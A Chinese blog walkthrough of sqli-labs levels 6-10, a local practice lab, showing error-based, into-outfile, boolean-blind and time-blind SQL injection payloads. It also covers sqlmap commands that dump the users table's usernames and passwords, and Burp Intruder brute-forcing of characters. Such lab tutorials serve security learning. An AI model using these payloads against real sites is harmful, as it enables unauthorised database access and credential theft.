首页 > 数据库 >sqli-labs(6-10)关通过讲解

sqli-labs(6-10)关通过讲解

时间:2024-07-25 21:27:51浏览次数:10  
标签:10 Less labs sqli --+ table id

sqli-labs(6-10)关通过讲解

Less-6

方法一:手工注入

1.判断闭合

http://localhost/sqli-labs/Less-6/?id=1" //报错
http://localhost/sqli-labs/Less-6/?id=1" --+  //正常
http://localhost/sqli-labs/Less-6/?id=1" and 1=1 --+
http://localhost/sqli-labs/Less-6/?id=1" and 1=2 --+

image-20240723074403056

image-20240723074506128

image-20240723074515818

2.因为页面没有回显点而且语句错误会报错,所以我们用报错注入

先查数据库名

http://localhost/sqli-labs/Less-6/?id=1" and updatexml(1,concat(0x7e,database()),3)--+

image-20240723074703304

3.再查表名

http://localhost/sqli-labs/Less-6/?id=1" and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema="security")),3)--+

image-20240723074902900

4.查users表中字段名

http://localhost/sqli-labs/Less-6/?id=1" and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema="security" and table_name="users")),3)--+

image-20240723075008353

5.查username,password字段的数据

http://localhost/sqli-labs/Less-6/?id=1" and updatexml(1,concat(0x7e,(select group_concat(username,password) from users)),3)--+

image-20240723075110959

这里发现数据并不全,若想查到后面的数据可用限制查询:

http://localhost/sqli-labs/Less-6/?id=1" and updatexml(1,concat(0x7e,(select concat(username,0x7e,password) from users limit 4,1)),3)--+
#limt 4,1 从4开始查询一位,通过修改起始位置来分别查每行数据

image-20240723075244946

方法二:工具注入

使用sqlmap.py

1.查看所有数据库和当前数据库

python3 sqlmap.py -u "http://localhost/sqli-labs/Less-6/?id=1" --dbs --batch

image-20240723075627745

python3 sqlmap.py -u "http://localhost/sqli-labs/Less-6/?id=1"  --batch --current-db

image-20240723075714182

2.查看security库中表

python3 sqlmap.py -u "http://localhost/sqli-labs/Less-6/?id=1"  --batch -D security --tables

image-202407230759098763.c

3.查看users表中数据

python3 sqlmap.py -u "http://localhost/sqli-labs/Less-6/?id=1"  --batch -D security -T users --dump

image-20240723080010436

Less-7

看下题目是用into outfile

image-20240725204313317

1.判断闭合

先尝试'发现页面显示

image-20240723080448118

"页面显示

image-20240723080517241

所以以**'**为主继续尝试闭合

http://localhost/sqli-labs/Less-7/?id=1')  and 1=1--+ //报错
http://localhost/sqli-labs/Less-7/?id=1'))  and 1=1--+ //正常
http://localhost/sqli-labs/Less-7/?id=1'))  and 1=2--+ //报错

所以闭合方式为 ')) --+

2.判断字段数

http://127.0.0.1/sqli-labs/Less-7/?id=1')) order by 3--+ //正常
http://127.0.0.1/sqli-labs/Less-7/?id=1')) order by 4--+ //报错

3.查表

http://127.0.0.1/sqli-labs/Less-7/?id=1')) union select 1,2,database() into outfile   'D:/download/database.txt' --+

image-20240725205523035

image-20240725205546693

4.查表

http://127.0.0.1/sqli-labs/Less-7/?id=1')) union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema="security") into outfile 'D:/download/table.txt' --+

image-20240725205743915

5.查users的列

http://127.0.0.1/sqli-labs/Less-7/?id=1')) union select 1,2,(select group_concat(column_name) from information_schema.columns where table_schema="security" and table_name="users") into outfile 'D:/download/column.txt' --+

image-20240725205855253

6.users查数据

http://127.0.0.1/sqli-labs/Less-7/?id=1')) union select 1,2,(select group_concat(id,username,password) from users) into outfile 'D:/download/dump.txt' --+

image-20240725205957032

Less-8

题目是布尔注入-单引号

image-20240725210133170

1.判断闭合

http://localhost/sqli-labs/Less-8/?id=1' and 1=1 --+
http://localhost/sqli-labs/Less-8/?id=1' and 1=2 --+

image-20240723085056753

image-20240723085104474

2.可以看出既没有回显点也没有报错,可通过布尔注入方式进行注入

方法一:

先去猜数据库长度

# 数据库长度判断
1:判断当前数据库的长度,利用二分法
?id=1' and length(database())>5--+   //正常显示
?id=1' and length(database())>8--+   //异常显示
?id=1' and length(database())=8--+   //正常显示
所以可知当前数据库长度为8个字符
知道数据库长度之后,我们可以利用ascii() substr() 函数对数据库名进行截取判断
ascii码是多少,最终得到数据库名"ascii(substr(database(),1,1)) 
ps:substr()截取位置默认从1开始

# 数据库名称判断
2:判断当前数据库的字符,和上面的方法一样,利用二分法依次判断
判断数据库的第一个字符
?id=1' and ascii(substr(database(),1,1))>114--+
?id=1' and ascii(substr(database(),1,1))>116--+
?id=1' and ascii(substr(database(),1,1))=115--+   //ascii码值115对应的字母为s
然后依次判断每个字符,数据库长度为8

最后可以判断出当前数据库为 security

数据库表名、字段名、表数据都可按此方法依次执行

也可以使用BP对其ASCII码进行爆破…

抓取以下数据包并将其发送到Intruder模块下,将截取字符串位置与ASCII码添加攻击向量,并设置攻击模式为集束炸弹(Cluster bomb);进入Payload标签下设置攻击内容如下并开启爆破攻击…

img

Payload1有效载荷给定截取位置,Payload2有效载荷给定ascii范围

img

From:字符串截取起始位置,To:字符串截取结束位置

img

img

按长度排序找到只有8个一样长度的数据,将ASCII码值转换成字母然后从1到8排序,最后得到 security就是数据库名

img

查表名

第一步:获取数据库下表的个数

# 判断当前数据库中表的个数
//判断当前数据库中的表的个数是否大于5,用二分法依次判断,最后得知当前数据库表
的个数为4
?id=1' and (select count(table_name) from information_schema.tables where table_schema=database())>3--+
?id=1' and (select count(table_name) from information_schema.tables where table_schema=database())>4--+
?id=1' and (select count(table_name) from information_schema.tables where table_schema=database())=4--+

img

第二步:分别注入出各个表名得长度。

第一个表:
?id=1' and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=6--+
第二个表
?id=1' and length((select table_name from information_schema.tables where table_schema=database() limit 1,1))=8--+
第三个表
...

第三步:猜测表名每个字符的ASCII值

​ 抓取以下数据包并将其发送到Intruder模块下,将截取字符串位置与ASCII码添加攻击向量,并设置攻击模式为集束炸弹(Cluster bomb)

?id=1' and substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)='a'--+

第一个表:6个字段

img

img

img

img

通过排序查出第一个表为:emails

第二个表:长度为8

img

img

img

第二个表为:referers

其他表依次判断

由此可判断出存在表 emails、referers、uagents、users ,猜测users表中最有 可能存在账户和密码,所以以下判断字段和数据在 users 表中判断

爆破users字段名

第一步:判断字段数量

?id=1' and (select count(column_name) from information_schema.columns where table_schema=database() and table_name="users" limit 0,1)=3--+  //3个字段

第二步:判断users各字段长度

?id=1' and length((select column_name from information_schema.columns where table_schema=database() and table_name="users" limit 0,1))=2--+
?id=1' and length((select column_name from information_schema.columns where table_schema=database() and table_name="users" limit 1,1))=8--+
?id=1' and length((select column_name from information_schema.columns where table_schema=database() and table_name="users" limit 2,1))=8--+ 

第三步:判断每个字段的字符—BP抓包爆破

#判断语句是否之前
?id=1' and substr((select column_name from information_schema.columns where table_schema=database() and table_name="users" limit 0,1),1,1)>'a'--+
#随便等于一个字母然后抓包爆破
?id=1' and substr((select column_name from information_schema.columns where table_schema=database() and table_name="users" limit 0,1),1,1)='a'--+

第一个字段

img

img

img

img

所以为id

第二个第三个,修改limit从哪开始

img

img

或者把limit 0,1中 0也 设置成Payload1也可查出就是比较乱得找。

最终结果为:username,password

爆破字段下的内容

第一步:获取字段下内容得数量
?id=1' and (select count(username) from users limit 0,1)=12 --+
获取字段第内容长度
# 猜解字段中数据的长度
//依次判断所有数据
?id=1' and length((select id from users limit 0,1))>5--+
?id=1' and length((select username from users limit 0,1))>3 --+
?id=1' and length((select password from users limit 0,1))>3 --+
#获取第一个字段内容
#猜解字段数据的每个字符ASCII编码的出字符或者直接=字符判断字符
?id=1'and (ascii(substr((select username from users limit 0,1),1,1)))=68--+
?id=1'and (ascii(substr((select password from users limit 0,1),1,1)))=68--+

然后通过Burp爆破获取

小结:一般布尔盲注,手工注入过于繁琐;不建议手注可借助工具如 SQLMAP…

方法二:工具注入

布尔盲注手工注入太过麻烦,最好借助工具sqlmap来注入

方法跟Less-6相同,这里我直接写出最后一步

python3 sqlmap.py -u "http://127.0.0.1/sqli-labs/Less-8/?id=1" --batch -D security -T users --dump

image-20240725210950099

推荐使用工具注入

Less-9

题目提示用时间盲注

image-20240725211044833

1.判断闭合

之前判断方法都无法判断闭合但是可以用sleep()判断
http://127.0.0.1/sqli-labs/Less-9/?id=1' and sleep(5) --+

image-20240725211532297

看见网页延时5s加载完那么闭合成功

2.判断数据库长度

http://127.0.0.1/sqli-labs/Less-9/?id=1' and if(length(database())=8,sleep(5),1) --+

3.判断数据库字段

http://127.0.0.1/sqli-labs/Less-9/?id=1' and if(ascii(substr(database(),1,1))>90,sleep(5),1) --+
http://127.0.0.1/sqli-labs/Less-9/?id=1' and if(ascii(substr(database(),1,1))=115,sleep(5),1) 
//依次判断每一个

image-20240725212025026

4.其他也是这样判断,太累了,这里就不赘述了。其实跟Less-8差不多,非常类似,都是靠猜。

Less-10

image-20240725212313947

跟Less-9一样,就是闭合不同

http://127.0.0.1/sqli-labs/Less-10/?id=1" and sleep(5)--+ 

标签:10,Less,labs,sqli,--+,table,id
From: https://blog.csdn.net/weixin_53736204/article/details/140700420

相关文章

  • Java笔记day10
    一,不同方式创建多个线程并打印(1)定义了一个RunA实现Runnable接口,定义list存储数据,并重写了run方法 ,在run方法里定义循环向list中添加数据a;在main方法中创建a,b两个线程并引用该run方法,输出run对象的list和长度publicstaticvoidmainB(String[]args){RunAru......
  • *算法训练(leetcode)第三十一天 | 1049. 最后一块石头的重量 II、494. 目标和、474. 一
    刷题记录*1049.最后一块石头的重量II*494.目标和474.一和零*1049.最后一块石头的重量IIleetcode题目地址本题与分割等和子集类似,要达到碰撞最后的石头重量最小,则尽可能把石头等分为两堆。时间复杂度:O......
  • [lnsyoj538/luoguP3628/APIO2010]特别行动队
    题意原题链接给定序列\(a\)和自定义二次函数\(f(x)=ax^2+bx+c(a<0)\),要求将\(a\)分为几段(不妨设为\(k\)段),使得\(\sum_{i=1}^{k}f(\sum_{j=l_i}^{r_i}a_j)\)的值最大,求最大的值sol设计状态转移方程。显然,\(dp_i\)可以由\(dp_j\)转移当且仅当\(j<i\),这表示......
  • Day10--mybatis多表连接查询学习(一对一、一对多、多对多)
    MyBatis是一个优秀的持久层框架,支持将SQL语句、存储过程以及高级映射转换成Java对象。下面是MyBatis处理一对一、一对多、多对多关系的方式及相应的代码示例。数据库表假设有四个表:user、orders、role、user_role---->创建代码(占位较长)放在文章末尾···首先先了解对应......
  • 嵌入式学习--DAY10:函数的调用
    一、函数参数和函数的值1.在定义函数中指定的形参,在未出现函数调用时,它们并不占用内存中的存储单元,只有在发生函数调用时,函数中的形参才会被分配内存单元。在调用结束后,形参所占的内存单元也会被释放。2.实参可以是常量、变量或表达式。在被定义的函数中,必须指定形参的类型,实......
  • Sqli-labs-master的21—25通关教程
    目录Less-21('闭合)查询数据库名查询数据库中的表查询表中字段名查询表中数据Less-22("闭合)查询数据库名查询数据库中的表查询表中字段名查询表中数据Less-23查询数据库名查询数据库中的表查询表中字段名查询表中数据Less-24(二次注入)Less-25查询数据库名......
  • [lnsyoj2210/luoguP5069]纵使日薄西山
    来源原题链接2024.7.25校内测验T3题意给定序列\(a\),\(m\)次查询,每次查询修改一个数,然后查询:每次操作选定最大且下标最小的数\(a_i\),使\(a_{i-1},a_i,a_{i+1}\)的值都减\(1\),查询将整个序列变为全非正数序列的操作次数.赛时50pts由于每次都会连带着相邻两个元素一......
  • 文心一言 VS 讯飞星火 VS chatgpt (310)-- 算法导论22.2 8题
    八、我们将一棵树T=(V,E)......
  • 异步操作的华尔兹,Promise详解,在ArkTs如何正确使用?如何使用Promise去封装Sqlite数据库
    目录1.什么是Promise2.Promise中的基本概念3.理解Promise4.Promise的重要方法5.实战我们可以使用Promise去封装一个Splite1.什么是PromisePromise是一种用于异步编程的模式,它提供了一种优雅的方式来处理异步操作的结果,避免了回调地狱问题。在Promise中,每一个Promis......
  • LG3107 [USACO14OPEN] Odometer S 题解 (数位DP+容斥)
    题意定义一个数是神奇的当且仅当这个数中有一个数位出现了一半及以上,比如112,2233。求\([l,r]\)中有多少个好的数字,\(100\lel,r\le10^{18}\)。题解考虑数位DP,先把答案转为\(Ans(r)-Ans(l-1)\),我们钦定一个数\(k\)让他必须出现多于一半,然后我们想求\([1,x]\)中有多少......